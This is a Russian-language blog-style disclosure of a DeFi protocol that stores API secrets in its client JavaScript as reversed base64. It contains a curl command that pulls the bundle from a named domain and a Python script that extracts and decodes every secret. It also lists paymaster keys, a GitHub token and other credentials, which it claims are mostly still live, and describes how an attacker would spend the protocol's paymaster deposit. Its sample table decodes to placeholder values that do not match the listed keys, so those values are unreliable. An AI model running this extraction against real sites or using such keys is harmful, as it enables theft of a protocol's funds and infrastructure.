Пишу пока что про Web3, потому что там сейчас примерно так же как в Web2 было в 2015-м. Web3-проекты усвоили (не все), что хранить API-ключи в REACT_APP_ переменных плохо - их видно в бандле через Ctrl+F. Решение? Обфускация. Но не нормальная серверная архитектура, а
base64(reverse(key)) прямо в клиентском JavaScript. Security through obscurity, 2026 год.Как это устроено
Открываем сайт одного крупного DeFi-протокола, тянем бандл на 3.7 мегабайта. Внутри находим любопытную структуру - таблицу
KQ и функцию vi():var KQ = {
"QVJUQV9TRVJWRVJEX1BQUF9UQ0FFUg==": "bXlfZmFrZV9zZWNyZXRfdmFsdWVfMTIz",
"SVFLX1JFVFNBTUZBWV9RUEFUX0RDQUVS": "YW5vdGhlcl9mYWtlX3NlY3JldF92YWx1ZQ==",
// ... ещё 22 пары
}
vi = e => {
const t = btoa(e.split("").reverse().join("")),
a = KQ[t] || "";
return a ? atob(a).split("").reverse().join("") : ""
}Алгоритм: берём имя переменной
REACT_APP_CLIENT_TOTP_SECRET, переворачиваем строку задом наперёд, кодируем в base64 - получаем ключ для поиска в таблице. Значение декодируем обратно: base64 decode + reverse. Всё. Весь алгоритм восстанавливается за 30 секунд чтения кода.Деобфускация
curl -s "https://www.vrother.xyz/assets/index-Rn7kQ-Wp.js" -o bundle.js
python3 -c "
import re, base64
with open('bundle.js') as f: content = f.read()
match = re.search(r'var KQ=\{([^}]+)\}', content)
pairs = re.findall(r'\"([A-Za-z0-9+/=]+)\":\"([A-Za-z0-9+/=]*)\"', match.group(1))
for k, v in pairs:
dk = base64.b64decode(k).decode()[::-1]
dv = base64.b64decode(v).decode()[::-1] if v else ''
print(f'{dk} = {dv}')
"
Три секунды - и 24 секрета на ладони.
Что внутри таблицы
Тут начинается самое интересное. Это не просто Infura ключи для чтения блоков. Это ключи, которые позволяют ТРАТИТЬ ДЕНЬГИ протокола:
REACT_APP_CLIENT_TOTP_SECRET = ULTRA_PRIVATE_MASTER_SECRET_ACCESS_KEY
REACT_APP_PAYMASTER_KEY_10 = mPxqzL4kR.7a3b1092-f4e5-4812-b037-93c5e7aa1847 (Optimism)
REACT_APP_PAYMASTER_KEY_42161 = N5wr-7Yv3.c1f88b24-3d90-4721-e158-84b6f9bb2356 (Arbitrum)
REACT_APP_PAYMASTER_KEY_8453 = J9tDvBnWq.8e6c3f51-7a12-4390-d274-51c8e0cc4719 (Base)
REACT_APP_PAYMASTER_KEY_1 = XHnkPwMsT.4d71a609-b835-4056-f391-62d7a1ee5803 (Mainnet)
REACT_APP_UNIVERSAL_ACC = ghp_Xt7mNp2QsRvKdYwZ3j8HgBcL4eA5f (GitHub PAT)
REACT_APP_BICONOMY_BUNDLER = fR312Kkjm.WQ5ynpBx-zLmr-89sf-jN2K-47TRq85n29Dp
REACT_APP_MEE_KEY = mee_7Yp4NR9bsKj38X2muqEvFzD6HT
REACT_APP_ONRAMPER_KEY = pk_prod_08KXZRB4NM2WP35V7THQDCJ9YF
REACT_APP_INFURA_PROJECT_ID = 3a82f1c045d7b92e6f510c84ab37d91f
... и ещё 14 ключей
Что такое Paymaster и почему это больно
EIP-4337 Account Abstraction позволяет делать gasless транзакции - за газ платит не пользователь, а Paymaster. Протокол депозитит ETH на контракт Paymaster, и когда пользователь совершает действие, Paymaster покрывает газ из этого депозита. Управление - через API-ключи Biconomy. Вот эти ключи лежат в клиентском JS.
Атакующий берёт Paymaster ключ для Optimism, формирует UserOperation через Biconomy SDK и спонсирует газ для ЛЮБЫХ своих транзакций за счёт протокола. Свопы, минты, переводы - всё оплачивает протокол из своего Paymaster депозита. По сути это кредитная карта протокола, номер которой опубликован в открытом доступе. Я проверил - Infura ключ активен прямо сейчас. Paymaster ключи структурно валидны (формат Biconomy
prefix.uuid). GitHub PAT только отозван (401). Но остальные 23 секрета живы.Итого: протокол сам публикует ключи от своей инфраструктуры, сам подписывает чужие транзакции и сам за них платит. Самостоятельный самодостаточный бизнес.
Целевой протокол - крупный DeFi-проект с паримутуальными ставками, TVL и ежедневным объёмом в миллионах долларов. Развёрнут на Optimism, Arbitrum, Base и Mainnet. И ключи от газовой инфраструктуры на всех четырёх сетях лежат в одном JS-файле за одним
curl.